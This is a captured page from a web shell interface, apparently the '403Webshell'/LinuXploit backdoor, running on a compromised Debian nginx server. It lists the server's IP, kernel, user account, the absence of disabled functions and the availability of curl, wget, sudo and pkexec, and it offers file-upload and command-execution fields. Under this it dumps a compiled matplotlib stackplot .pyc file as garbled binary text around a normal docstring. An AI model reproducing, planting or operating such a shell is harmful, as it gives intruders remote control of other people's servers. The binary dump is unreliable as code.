403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/stackplot.cpython-39.pyc
a

���hh�@s>dZddlZddlZddlmZdgZddddd�dd�ZdS)	z�
Stacked area plot for 1D arrays inspired by Douglas Y'barbo's stackoverflow
answer:
https://stackoverflow.com/q/2225995/

(https://stackoverflow.com/users/66549/doug)
�N)�_api�	stackplot��zero)�labels�colors�hatch�baselinec
s�t�|�}t|�}|dur&t�|�}n�fdd�|D�}|dusJt|t�rXt�|g�}n
t�|�}tj|dt�|j	tj
�d�}	tjgd�|d�|dkr�d	}
�n:|d
kr�t�
|d�d}
|	|
ddd�f7}	�n|dk�r"|jd}||dt�|�dd�df�
d�}
|
|}
|	|
7}	n�|d
k�r�t�
|d�}t�|�}
|dk}d|||
|<t�|dd�dd�ft�|�f�}||	}|d|7}||
}d|dd�df<|d|}t�|�
d��}|d|}
|	|
7}	�j||
|	ddd�fft|�t|�t|d�d�|��}dg|jjdd�<|g}tt|�d�D]T}|��j||	|dd�f|	|ddd�fft|�t|�t|d�d�|����q:|S)a�
    Draw a stacked area plot or a streamgraph.

    Parameters
    ----------
    x : (N,) array-like

    y : (M, N) array-like
        The data is assumed to be unstacked. Each of the following
        calls is legal::

            stackplot(x, y)           # where y has shape (M, N)
            stackplot(x, y1, y2, y3)  # where y1, y2, y3, y4 have length N

    baseline : {'zero', 'sym', 'wiggle', 'weighted_wiggle'}
        Method used to calculate the baseline:

        - ``'zero'``: Constant zero baseline, i.e. a simple stacked plot.
        - ``'sym'``:  Symmetric around zero and is sometimes called
          'ThemeRiver'.
        - ``'wiggle'``: Minimizes the sum of the squared slopes.
        - ``'weighted_wiggle'``: Does the same but weights to account for
          size of each layer. It is also called 'Streamgraph'-layout. More
          details can be found at http://leebyron.com/streamgraph/.

    labels : list of str, optional
        A sequence of labels to assign to each data series. If unspecified,
        then no labels will be applied to artists.

    colors : list of :mpltype:`color`, optional
        A sequence of colors to be cycled through and used to color the stacked
        areas. The sequence need not be exactly the same length as the number
        of provided *y*, in which case the colors will repeat from the
        beginning.

        If not specified, the colors from the Axes property cycle will be used.

    hatch : list of str, default: None
        A sequence of hatching styles.  See
        :doc:`/gallery/shapes_and_collections/hatch_style_reference`.
        The sequence will be cycled through for filling the
        stacked areas from bottom to top.
        It need not be exactly the same length as the number
        of provided *y*, in which case the styles will repeat from the
        beginning.

        .. versionadded:: 3.9
           Support for list input

    data : indexable object, optional
        DATA_PARAMETER_PLACEHOLDER

    **kwargs
        All other keyword arguments are passed to `.Axes.fill_between`.

    Returns
    -------
    list of `.PolyCollection`
        A list of `.PolyCollection` instances, one for each element in the
        stacked area plot.
    Nc3s|]}�j��VqdS)N)Z
_get_linesZget_next_color)�.0�_��axesr�>/usr/local/lib/python3.9/dist-packages/matplotlib/stackplot.py�	<genexpr>Y�zstackplot.<locals>.<genexpr>r)Zaxis�dtype)r�sym�wiggle�weighted_wiggle)r	rgrg�?rrg�?�)Z	facecolorr�label)�npZvstack�iter�	itertools�cycle�
isinstance�strZcumsumZ
promote_typesr�float32rZ
check_in_list�sum�shapeZarangeZ
zeros_likeZhstack�diffZfill_between�nextZsticky_edges�y�range�len�append)r
�xrrrr	�args�kwargsr"�stack�
first_line�m�totalZ	inv_total�maskZincreaseZ
below_sizeZmove_up�centerZcoll�r�irrrrslA


�

(



$��,��)�__doc__r�numpyrZ
matplotlibr�__all__rrrrr�<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit